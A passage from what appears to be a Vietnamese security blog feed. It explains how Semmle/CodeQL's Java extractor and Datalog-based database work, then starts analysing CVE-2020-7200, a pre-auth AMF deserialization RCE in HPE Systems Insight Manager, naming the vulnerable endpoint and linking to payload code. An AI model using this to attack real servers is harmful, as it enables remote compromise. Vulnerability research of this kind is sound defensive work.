<p>Thông tin được khai báo theo thứ tự như vậy, đương nhiên là phải tuân theo 1 nguyên tắc nào đó rồi!</p>
<p>Ở đây, các file trap được xây dựng dựa trên 1 cấu trúc scheme định sẵn, với mỗi loại ngôn ngữ sẽ có các scheme riêng biệt. Với java, có thể tìm thấy scheme tại folder “/<em>codeql/java/</em>”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242518839/9IN-1GyBT.png" alt /></p>
<p>Tương ứng với khai báo “<strong><em>fields</em></strong>” phía trên, trong file dbscheme có định nghĩa khai báo này như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242520232/H0PVbVrQa.png" alt /></p>
<p>Sắp xếp theo đúng thứ tự của dòng khai báo <strong><em>fields </em></strong>được như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242521632/RNB_u3vuI.png" alt /></p>
<p>Việc khai báo của các đối tượng khác cũng tương tự, hoạt động theo cùng logic như vậy, ví dụ như <em>hasModifier()</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242523119/vyOc0nCtj.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242524630/Xd9_OYPdy.png" alt /></p>
<p>Thực ra trong phần này cũng có được đề cập một số private document, được hé mở bởi 1 ông dev tốt bụng, nhưng để giữ lời, mình chưa thể viết rõ hơn trong bài viết nay, mong bạn đọc thông cảm, nguyên văn:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242526058/z3UJRQ2hm.png" alt /></p>
<p>Và nói thêm 1 chút, kiến trúc DB này khá là dị vì nó không phải như dạng SQL ta thường biết,</p>
<p>DB Engine của Semmle được xây dựng dựa trên Datalog, một ngôn ngữ lập trình khai báo logic, thường được sử dụng làm ngôn ngữ truy vấn cho cơ sở dữ liệu suy diễn.</p>
<p>Trong Datalog, dữ liệu không được gọi là record, mà được gọi là fact, mình đã tìm đủ mọi cách nhưng không tìm thấy từ nào diễn tả đúng và đủ nghĩa trong tiếng Việt, mặc dù nó có nghĩa nào đó tương đồng với bản ghi trong SQL!</p>
<p>Một ví dụ nhỏ về Datalog, có schema như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242527474/VwJK7TWFW.png" alt /></p>
<p>Tương ứng với schema trên, mỗi khai báo sau sẽ tương ứng với một “fact” của schema đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242528816/Dj_ogjC5K.png" alt /></p>
<p><em>//Lại thêm vấn đề về Datalog, bạn đọc có thể đọc thêm tài liệu về Datalog tại đây: <a target="_blank" href="http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf">http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf</a></em></p>
<p>Điều đó giải thích lý do tại sao các trap file và file schema lại có dạng như vậy, vì đơn giản: Semmle sử dụng Datalog, không phải SQL!</p>
<p>Và hệ quả là cách viết câu query cũng không giống như cách viết query trên SQL! (<em>nó khác nhiều lắm đó, chỉ là tại thời điểm viết mình méo nhớ gì nữa nên ko thể đưa ra ví dụ trực quan cho các bạn (ಥ_ಥ), sorry !</em>)</p>
<p><strong>#DEBUG</strong></p>
<p>Quay trở lại với việc debug, lần này là debug thật nè!</p>
<p>Breakpoint dừng tại <strong><em>JavaExtractor#367</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242530276/FU-n4jjEr.png" alt /></p>
<p>Đối số được truyền vào chính là nội dung của file mã nguồn đang được gọi từ trình biên dịch “<em>javac</em>”.</p>
<p>Giống với tên, <em>this.output </em>là object quyết định vị trí output của các trap file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242531781/CtBX9jWx9.png" alt /></p>
<p>Tại <em>CompilationUnitExtractor.process()#47</em>, trap writer cho file mã nguồn hiện tại được set:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242533415/EDPoOuuAj.png" alt /></p>
<p>Tiếp tục đi vào <em>ClassDeclExtractor.process() </em>để extract các thông tin của từng class trong file mã nguồn hiện tại:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242534968/ivjfZoMjR.png" alt /></p>
<p><em>ClassDeclExtractor </em>override các method “<em>visit</em>” của <em>javac_extend.com.sun.tools.javac.tree.JCTree.Visitor</em> để lấy thông tin (cũng giống như cách hoạt động của MethodVisitor trong ow2 asm (<a target="_blank" href="https://asm.ow2.io/asm4-guide.pdf">https://asm.ow2.io/asm4-guide.pdf</a>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242536579/9w-OpZD_N.png" alt /></p>
<p>Các label của trap file được quyết định mỗi khi gọi tới các method “<em>get**</em>Key()<em>”. Từ các method “</em>get<em>**Key()</em>” này sẽ gọi tới <em>TrapWriter.globalID(key) </em>để kiểm tra xem label đã được tạo hay chưa, nếu có thì lấy, không thì tạo mới 1 label và push vào cache:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242538205/lu1t5JaBu.png" alt /></p>
<p>Bạn đọc có thể làm tương tự với các trường hợp khai báo field, method, var … mình xin phép chỉ hướng dẫn tới đây</p>
<p>.</p>
<p>.</p>
<p>Như vậy qua 2 phần của bài viết, mình đã nói sơ qua về cách thức hoạt động cũng như cách để tìm hiểu cách Semmle Core hoạt động.</p>
<p>Để thực thi được các câu truy vấn, cần phải đề cập tới DB Engine</p>
<p>Tuy nhiên do phạm vi nghiên cứu đã quá lan man, nên mình chưa xem về cách hoạt động của DB.</p>
<p>Hy vọng một ngày đẹp trời nào đó sẽ có người tiếp tục topic này!</p>
<p>Cảm ơn các bạn đã theo dõi!</p>
<p>Ref:</p>
<ul>
<li><p><a target="_blank" href="https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf">https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf</a></p>
</li>
<li><p><a target="_blank" href="http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf">http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://courses.cs.washington.edu/courses/csep544/17au/lectures/lec3-ra-datalog.pdf">https://courses.cs.washington.edu/courses/csep544/17au/lectures/lec3-ra-datalog.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://userpages.uni-koblenz.de/~laemmel/gttse/2007/pdfs/52350085.pdf">https://userpages.uni-koblenz.de/~laemmel/gttse/2007/pdfs/52350085.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://help.semmle.com/home/Resources/pdfs/scam07.pdf">https://help.semmle.com/home/Resources/pdfs/scam07.pdf</a></p>
</li>
<li><p>….</p>
</li>
</ul>
<p><strong>Jang of VNPT ISC</strong></p>
]]></content:encoded></item><item><title><![CDATA[How does Semmle core/CodeQL works? Góc nhìn phiến diện về cách hoạt động của CodeQL! [Part 1]]]></title><description><![CDATA[Mình được biết đến Semmle/CodeQL từ một người anh trong làng bảo mật, theo như quảng cáo của ông anh này thì đây sẽ là “tương lai của việc tìm lỗ hổng bảo mật”.
Vào khoảng thời gian đó, mình đang trong trạng thái betak khi nghiên cứu về 1 công cụ tự ...]]></description><link>https://testanull.com/how-does-semmle-core-codeql-works-goc-nhin-phien-dien-ve-cach-hoat-dong-cua-codeql-part-1-e821df1d910e</link><guid isPermaLink="true">https://testanull.com/how-does-semmle-core-codeql-works-goc-nhin-phien-dien-ve-cach-hoat-dong-cua-codeql-part-1-e821df1d910e</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Tue, 12 Jan 2021 09:43:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242485001/Ml_M9VMEQ.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mình được biết đến Semmle/CodeQL từ một người anh trong làng bảo mật, theo như quảng cáo của ông anh này thì đây sẽ là “tương lai của việc tìm lỗ hổng bảo mật”.</p>
<p>Vào khoảng thời gian đó, mình đang trong trạng thái betak khi nghiên cứu về 1 công cụ tự động tìm kiếm lỗ hổng — GadgetInspector.</p>
<p>Không lâu sau đó, vào tháng 9–2019, Github mua lại Semmle và đổi tên thành CodeQL như hiện tại. (<a target="_blank" href="https://techcrunch.com/2019/09/18/github-acquires-code-analysis-tool-semmle/">https://techcrunch.com/2019/09/18/github-acquires-code-analysis-tool-semmle/</a>).</p>
<p>Cũng vừa đúng lúc vào mùa đồ án tốt nghiệp, mình đề xuất luôn đề tài nghiên cứu về CodeQL và được accept luôn. Chỉ tiếc là kết quả đồ án ko đc như mong đợi lắm 😶.</p>
<p>.</p>
<p>.</p>
<p>CodeQL — Semmle — Odasa, … đem đến luồng gió mới cho lĩnh vực code review, thay vì phải trace các call graph, CodeQL chuyển thể tất cả các dữ liệu về source code thành một dạng cơ sở dữ liệu, và việc tìm kiếm lỗ hổng bây giờ sẽ thực hiện bằng cách truy vấn trên đám Db này.</p>
<p><em>(Theo thông tin biết được từ một người bạn, có 1 enterprise product khác tương tự, cũng hoạt động bằng cách chuyển tất cả mã nguồn sang dạng Normalized Syntax Tree và phân tích trên đó. Tuy nhiên do tính thương mại của sản phẩm này nên mình không đề cập quá sâu tại bài viết này).</em></p>
<p>Giải pháp này đã được chứng nhận và thương mại hóa với sản phẩm LGTM, dĩ nhiên là bộ core của nó cũng là closed-source luôn.</p>
<p>Điều này gây ra khá nhiều khó khăn trong quá trình tìm hiểu về kiến trúc cũng như cách hoạt động của Semmle,</p>
<p>Trong suốt thời gian 1 năm trở lại đây, mình đã rất nhiều lần mặt dày hỏi nhà phát triển về vấn đề public source code của bộ Semmle Core Java, nhưng đều nhận được câu trả lời là “<em>chưa biết</em>”.</p>
<p>Sở dĩ mình mặt dày vậy là vì một phần của bộ core dành cho C#, python, golang đều đã được public, nhưng Java thì không ¯_(ツ)_/¯.</p>
<p>Thôi thì đành nghiên cứu = cách Reverse Engineering vậy, dù sao bộ core này cũng được xây dựng bằng Java nên việc dịch ngược không khó lắm.</p>
<ul>
<li>Lưu ý: Bài viết được dựa trên phương diện khách quan, do đó có thể có nhiều sai sót so với tài liệu chính.</li>
</ul>
<p>À quên, xin đính chính lại mục đích của bài viết này là về <strong>cách hoạt động của CodeQL</strong> chứ không phải cách sử dụng CodeQL nhé! Có lẽ sự tò mò đã ngấm vào máu của mình từ khi còn bé, mình thích nghiên cứu về cách hoạt động của 1 thứ gì đó hơn là về cách sử dụng thứ đó.</p>
<p>Tại thời điểm 2019, khi mình bắt đầu nghiên cứu về Semmle thì có 1 số ít tài liệu về cách hoạt động của bộ core, đa số là lấy từ trang chủ help.semmle.com.</p>
<p>Vào thời điểm viết bài thì số tài liệu liên quan tới cách hoạt động của Semmle Core đã không cánh mà bay, được thay thế bằng 1 số tài liệu khác. Bạn đọc có thể tham khảo mô tả về cách hoạt động của bộ core tại đây: <a target="_blank" href="https://web.archive.org/web/20190918221214/https://help.semmle.com/wiki/display/SD/What+does+Semmle+Core+do">https://web.archive.org/web/20190918221214/https://help.semmle.com/wiki/display/SD/What+does+Semmle+Core+do</a> (link web cũ đã bị thay thế) hoặc (<a target="_blank" href="https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf">https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf</a> #<em>page 7</em>).</p>
<p>Ngoài ra trong quá trình làm đồ án mình cũng sưu tầm được gần chục paper về Datalog cũng như paper về .QL đời đầu, được publish bởi chính nhà phát triển, bạn đọc có nhu cầu nghiên cứu về vấn đề này có thể liên hệ mình để lấy các tài liệu này!</p>
<p><strong>#Các thành phần chính của Semmle</strong></p>
<p>Về cơ bản, có thể nhận thấy Semmle bao gồm các thành phần chính như sau:</p>
<ul>
<li><p><strong><em>Extractor</em></strong>: đóng vai trò thu thập &amp; phân tích mã nguồn để tạo thành một bộ cơ sở dữ liệu hoàn chỉnh về các statement, call graph, variable …</p>
</li>
<li><p><strong><em>DB Engine</em></strong>: xử lý các câu truy vấn về bộ mã nguồn được gửi lên, kiến trúc được dựa trên Datalog</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242469483/qlO7KazNW.png" alt="Sơ lược về Semmle Core" /><em>Sơ lược về Semmle Core</em></p>
<p>Trên thực tế còn có một số thành phần khác, bài viết này chỉ tập trung vào nghiên cứu về 2 thành phần này là chủ yếu. Bên cạnh đó, bài viết này chỉ là cái nhìn phiến diện của tác giả về cách hoạt động của chúng, <strong>mình không dám chắc 100%</strong> đây là cách hoạt động chính thống của Semmle!</p>
<p><strong>#Extractor</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242471533/A2y8MR1HE.png" alt="Ảnh gốc về cách hoạt động của Extractor" /><em>Ảnh gốc về cách hoạt động của Extractor</em></p>
<p>Theo mô tả từ official document, với các ngôn ngữ biên dịch, ví dụ như Java, quá trình tạo cơ sở dữ liệu sẽ thực hiện bằng cách “intercept” và lắng nghe các lệnh gọi tới trình biên dịch:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242473161/Saxj_hy2a.png" alt="Biên dịch" /><em>Biên dịch</em></p>
<p>Việc intercept này diễn ra hoàn toàn trong suốt, không cần phải tác động gì thêm vào các build script của chương trình (ví dụ như: pom.xml, build.gradle …) . Bằng việc intercept này, “<em>Extractor</em>” sẽ nhận được các thông tin của bộ mã nguồn, các call graph, variable …, từ chính trình biên dịch. Sau đó các dữ liệu này sẽ được chuyển thể sang một dạng biểu diễn quan hệ, gọi là “trap” file (cách biểu diễn về file này sẽ được cung cấp thêm phía dưới). Quá trình trên có thể mô phỏng bằng sơ đồ sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242474564/VVKNXaQnU.png" alt="Cách hoạt động của Extractor" /><em>Cách hoạt động của Extractor</em></p>
<p>Với mỗi file mã nguồn (ví dụ: Foo.java) sẽ được chuyển sang 1 file trap tương ứng (Foo.trap).</p>
<p>File trap này có thể coi như là 1 file SQL trong các hệ quản trị cơ sở dữ liệu thông thường, dùng để lưu thông tin và có thể import vào CSDL sau đó.</p>
<p>Và cũng giống như file SQL, file trap cũng có dạng database schema riêng, mỗi file đều phải tuân theo schema này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242476009/Co2pKPo4d.png" alt="Database Schema" /><em>Database Schema</em></p>
<p>Một ví dụ về biểu diễn thành phần của chương trình sau khi được chuyển thể sang trap file:</p>
<p>Đoạn code mẫu đơn giản như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242477444/qL7esbShA.png" alt /></p>
<p>Và sau khi được chuyển sang trap file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242479009/_Er1cwdYa.png" alt="Biểu diễn dữ liệu bên trong 1 trap file" /><em>Biểu diễn dữ liệu bên trong 1 trap file</em></p>
<ul>
<li><em>Original: <a target="_blank" href="https://help.semmle.com/QL/ql-training/java/program-representation-java.html#10">https://help.semmle.com/QL/ql-training/java/program-representation-java.html#10</a></em></li>
</ul>
<p>Trong đó có kiểu “<em>int</em>”, được lưu tại table “<em>primitives</em>”, có id là “<em>1</em>”,</p>
<p>Biến local tên là “<em>i</em>”, được lưu tại table “<em>localvars</em>”, có id là “<em>2</em>”. (không phải 1, lý do sẽ được trình bày sau). Biến local này có “<em>typeid</em>” là “<em>1</em>”, tương ứng với kiểu “<em>int</em>” tại table “<em>primitives”.</em></p>
<p>Tiếp theo là table “<em>variableBinding</em>”, có expr: “<em>4”</em>, variable: “<em>2”, </em>tương ứng với biểu thức “<em>4” </em>có tác động tới biến <em>“2”.</em></p>
<p>Phía trên là những gì mình tổng hợp được từ các nguồn tài liệu nói về cách hoạt động của Semmle Core,</p>
<p>Tuy nhiên, đó mới chỉ là phần lý thuyết, mà với mình thì nó chưa đủ thuyết phục để có thể nói là “hiểu” được.</p>
<p><strong>#Let’s get your hand dirty!</strong></p>
<p>Để thực nghiệm về quá trình hoạt động của Extractor, mình tạo 1 project đơn giản và cho build db với project này, sau đó quan sát các tiến trình được sinh ra từ đó (sample được upload tại đây: <a target="_blank" href="https://github.com/testanull/simple-java-sample">https://github.com/testanull/simple-java-sample</a>).</p>
<p>Command được dùng để build như sau:</p>
<pre><code>codeql <span class="hljs-keyword">database</span> <span class="hljs-keyword">create</span> **test12 **<span class="hljs-comment">--language=java --command=".\build.cmd"</span>
</code></pre><p>Content của file “build.cmd”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242480556/JfekuVTmw.png" alt /></p>
<p>Các tiến trình được sinh ra sau khi chạy lệnh build DB:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242482043/9ch4xr-AL.png" alt="Process" /><em>Process</em></p>
<p>Sau khi chạy command build “<em>.\build.cmd</em>”, chương trình gọi tới trình biên dịch “<em>javac</em>”, và 1 tiến trình con “<em>java” </em>mới được sinh ra từ đó. Đây chính là công đoạn intercept trình biên dịch để lấy các thông tin của mã nguồn.</p>
<p>Tiến trình con sinh ra từ “<em>javac</em>” là tiến trình chính xử lý việc lấy thông tin của mã nguồn và tạo thành trap file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242483601/b2fQn77xug.png" alt /></p>
<p>Sau bao nhiêu bước loằn ngoằn, cuối cùng vẫn kết thúc với “<em>java”</em>,</p>
<p>Ở phase này, file jar library được sử dụng là “<em>semmle-extractor-java.jar</em>” với main class: <strong><em>com.semmle.extractor.java.JavaExtractor</em></strong></p>
<p>Hiện tại chúng ta sẽ tạm dừng tại đây, hẹn gặp lại trong phần 2.</p>
<p>.</p>
<p>.</p>
<p><strong><em> to be continued </em></strong></p>
]]></content:encoded></item><item><title><![CDATA[HPE System Insight Manager (SIM) AMF Deserialization lead to RCE(CVE-2020–7200)]]></title><description><![CDATA[Vài ngày vừa rồi, khi lượn lờ trên 1 group bảo mật, mình có đọc được bài báo nói về HPE vừa release bản vá cho 0day nào đó có CVSS 9.8/10.
Có thể với những người làm về java đủ lâu sẽ nhận ra CVSS 9.8/10 thì chỉ có Deserialization chứ còn gì nữa ¯_(ツ...]]></description><link>https://testanull.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0</link><guid isPermaLink="true">https://testanull.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Tue, 22 Dec 2020 07:00:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242169415/Vy4as3m9j.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Vài ngày vừa rồi, khi lượn lờ trên 1 group bảo mật, mình có đọc được bài báo nói về HPE vừa release bản vá cho 0day nào đó có CVSS 9.8/10.</p>
<p>Có thể với những người làm về java đủ lâu sẽ nhận ra CVSS 9.8/10 thì chỉ có Deserialization chứ còn gì nữa ¯_(ツ)_/¯.</p>
<p>Product bị ảnh hưởng ở đây là một enterprise product có tên: HPE System Insight Manager (SIM).</p>
<p>Product này có thể dùng ở dạng trial, link down tại đây:
<a target="_blank" href="https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c05350303#N10011"><strong>Document Display | HPE Support Center</strong>
<em>Edit description</em>support.hpe.com</a></p>
<p>Và tình cờ khi lướt qua ZDI, mình cũng thấy bug này xuất hiện trên <a target="_blank" href="https://www.zerodayinitiative.com/advisories/ZDI-20-1449/">published advisory</a>, bug này được mô tả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242106953/NIpN7mEZQ.png" alt /></p>
<p>Rõ ràng trường hợp này chính là AMF -&gt; Deserialization,</p>
<p>Về mảng AMF Deser này mình không nghiên cứu nhiều lắm, có thằng em xã hội <a target="_blank" href="https://twitter.com/NguyenH89059298">PeterJson</a> cũng đã làm khá nhiều, một bài viết khá hay về AMF Deser của Đức tại <a target="_blank" href="https://medium.com/@peterjson/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f">đây </a>. Trong quá trình viết PoC đã phải tham khảo rất nhiều thông tin từ thanh niên này …</p>
<p>Bài viết dưới đây là chút phân tích về lỗ hổng CVE-2020–7200, cũng như cách nhìn của mình về AMF Deserialization.</p>
<p><strong>#SETUP &amp; DEBUG các thứ</strong></p>
<p>Môi trường mình sử dụng là Windows Server 2016, mặc dù HPE SIM hỗ trợ cả linux nhưng mình vẫn quen với các công cụ hỗ trợ về process trên windows hơn là trên linux, và lý do nữa là nổ calc trên win phê hơn 😎.</p>
<p>Một chút lưu ý khi setup trên môi trường windows, đó là cần phải enable Feature SNMP Service của windows lên trước và cài dotNet 3.5, sau đó việc cài đặt sẽ diễn ra suôn sẻ:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242108718/lkr8raLHo.png" alt /></p>
<p>.</p>
<p>.</p>
<p>Quay trở lại với document về cách vá tạm thời của HPE có đề cập như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242110514/4uR0Mi3zk.png" alt /></p>
<ul>
<li>more detail: <a target="_blank" href="https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&amp;docId=hpesbgn04068en_us">https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&amp;docId=hpesbgn04068en_us</a></li>
</ul>
<p>HPE không cung cấp bản vá mà chỉ cho cách xử lý tạm thời chỉ đơn giản là xóa simsearch.war trong “<em>C:\Program Files\HP\Systems Insight Manager\jboss\server\hpsim\deploy\</em>”, vậy có nghĩa đây chính là nguyên nhân chính gây ra lỗ hổng này!</p>
<p>Theo suy luận là như thế nhưng để viết được PoC thì cần phải setup debug cho nó trước đã.</p>
<p>Việc setup debug trên target này khá là loằn ngoằn, mình đã mất nguyên buổi chiều để ngồi nghiên cứu tìm chỗ nó startup servlet.</p>
<p>Sau khi đánh giá dựa trên các thông tin mà HPE cung cấp cũng như bằng các biện pháp tâm link thì mình đã biết được entrypoint của bug này nằm tại:</p>
<pre><code>[<span class="hljs-string">https://&lt;target&gt;:50000/simsearch/messagebroker/amfsecure</span>](<span class="hljs-link">https://192.168.139.217:50000/simsearch/messagebroker/amfsecure</span>)
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242112398/QPYtymnxc.png" alt="web.xml simsearch" /><em>web.xml simsearch</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242113918/184hAgmuF.png" alt="service-config.xml simsearch" /><em>service-config.xml simsearch</em></p>
<p>Và đúng như CVSS 9.8/10, đây là 1 entrypoint pre-auth</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242115472/onhqCmxpg.png" alt="entrypoint amf" /><em>entrypoint amf</em></p>
<p>.</p>
<p>.</p>
<p>Truy tìm process theo listen port 50000 được 1 process khá là không liên quan lắm:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242116968/D9AnESsES.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242118492/SrQ7o-eGZ.png" alt /></p>
<p>Hiện tại mình đang muốn tìm 1 process java or jboss gì đó, trông như vậy thì không giống lắm. Có thể các product của HPE về sau đều được gói gọn cả java vào thành dạng portable mất rồi.</p>
<p>Check các Handles của process mxdomainmgr.exe có thể thấy nó vẫn load các java library như 1 process java thông thường (trò này mình mới học được, dùng để kiểm tra chính xác các library nào có sẵn trong classpath của target).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242120177/dfqOZJCyk.png" alt /></p>
<p>Dò ngược về process cha của mxdomainmgr, chính là hpsimsvc.exe,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242121912/JepuXyRUi.png" alt /></p>
<p>Cũng may thay, process này là service nhưng nó cũng cho phép chạy dưới dạng console cho phép mở interactive console để trực tiếp đọc các log của chương trình đẩy ra bằng options “-console”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242123608/9r7Cu6Fce.png" alt /></p>
<p>Trong quá trình nhìn ngắm từng dòng của log của chương trình đẩy ra, mình có để ý 1 dòng error log được log lại nhiều lần:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242125282/bsLbLxDUG.png" alt /></p>
<p>Giác quan thứ 7, chủ nhật của mình mách bảo rằng file “<strong><em>C:\Program Files\HP\Systems Insight Manager\config\globalsettings.props</em></strong>” chính là thứ cần tìm lúc này.</p>
<p>Và sau khi kiểm chứng thì mình có thể khẳng định file này là file chứa các setting cũng như quyết định environment của chương trình sẽ chạy. Biến môi trường <strong>JAVA_OPTS </strong>cũng được khai báo tại đây, để setup remote debug được thì mình đã thêm options debug tại dòng 214 của globalsettings.props:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242126822/CyhAlZuln.png" alt /></p>
<p><strong>#THE BUG</strong></p>
<p>Tiếp theo là công cuộc tìm lib để debug, thì bây giờ đã nhẹ nhàng hơn với trò mới này.</p>
<p>Chỉ việc dùng Process Explorer hoặc Process Hacker, check phần Handles sẽ show ra các file đang được tác động bởi process này. Trong đó bao gồm cả các file library của java được load lên (gián tiếp hay trực tiếp):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242128482/soD64XL8A.png" alt /></p>
<p>Kéo hết cả đám này ra 1 folder riêng và ném vào IntellIJ để debug thôi!</p>
<p>Theo config của web.xml, <strong><em>flex.messaging.MessageBrokerServlet</em></strong> sẽ handle entrypoint<em> <strong>/simsearch/messagebroker/*</strong></em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242129964/7KjAVTgGI.png" alt /></p>
<p>Class này sẽ nhận vào request và kiểm tra endpoint có tồn tại trong config hay không, và sau đó sẽ tiếp tục invoke class được define tương đương với endpoint đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242131493/xxzU_iVco.png" alt /></p>
<p>Trong config của HPE SIM chỉ có duy nhất endpoint <strong><em>/amfsecure</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242133092/D3-NtIk1H.png" alt /></p>
<p>Trong đó class xử lý cho endpoint <em>/amfsecure</em> là <strong><em>flex.messaging.endpoints.SecureAMFEndpoint</em></strong></p>
<p><em>SecureAMFEndpoint </em>thừa kế <em>AMFEndpoint</em></p>
<p><em>AMFEndpoint </em>thừa kế <em>BasePollingHTTPEndpoint</em></p>
<p><em>BasePollingHTTPEndpoint </em>thừa <em>kếBaseHTTPEndpoint</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242134623/dTz7-wYz3.png" alt /></p>
<p>Các class <em>SecureAMFEndpoint, AMFEndpoint, BasePollingHTTPEndpoint </em>không có override method <strong><em>HttpServlet.service()</em></strong>, do đó khi MessageBrokerServlet invoke endpoint service, nó sẽ invoke 1 override method gần nhất, đó là <strong><em>BaseHTTPEndpoint.service()</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242136131/LsKqZzILJ.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242137591/-CgzEhnzS.png" alt /></p>
<p>Tuy nhiên <strong><em>this.filterChain </em></strong>lại được init tại <em>AMFEndpoint.createFilterChain():</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242139186/AQMxIQRgi.png" alt /></p>
<p>Method <em>AMFEndpoint.createFilterChain()</em> sẽ khởi tạo 1 instance của <em>SerializationFilter. </em>Lỗ hổng của AMF bị tận dụng trước đó da số cũng đều dựa vào SerializationFilter này để deserialize object.</p>
<p>Tiếp sau đó, body request sẽ được đưa vào <em>AmfMessageDeserializer.readMessage() </em>để xử lý thêm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242140732/vRzmr-oeb.png" alt /></p>
<p>Tại đây để debug tiếp thì cần có 1 request theo đúng chuẩn của AMF, mình có sử dụng mẩu code example của <a target="_blank" href="https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html">codewhitesec amf</a>, gói bừa 1 object vào để gen payload gửi tiếp. Code mình sử dụng được push lên tại <a target="_blank" href="https://github.com/testanull/ProjectSIM/blob/master/src/Test0.java">đây</a>.</p>
<p>Sau khi có 1 payload hợp lệ, tiếp tục debug vào <em>AmfMessageDeserializer.readBody()</em>, method này tiếp tục gọi <em>AmfMessageDeserializer.readObject() </em>để reconstruct object.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242142262/XqK1NQljr.png" alt /></p>
<p>Từ <em>AmfMessageDeserializer.readObject() </em>sẽ gọi tiếp tới <em>Amf0Input.readObject() -&gt; Amf0Input.readObjectValue().</em></p>
<p><em>Amf0Input.readObjectValue() lại gọi tiếp tới Amf3Input.readObject() -&gt; Amf3Input.readObjectValue() -&gt;Amf3Input.readScriptObject() .</em></p>
<p>Mình ko rõ tại sao đoạn xử lý này lại hơi cồng kềnh như vậy nữa. Chỉ biết là tại <em>Amf3Input </em>thì các Object mới thực sự được xử lý.</p>
<p>Method <em>Amf3Input.readScriptObject() </em>xác định class đang được xử lý có thể được <em>Externalizable </em>(check implement java.io.Externalizable) hay không.</p>
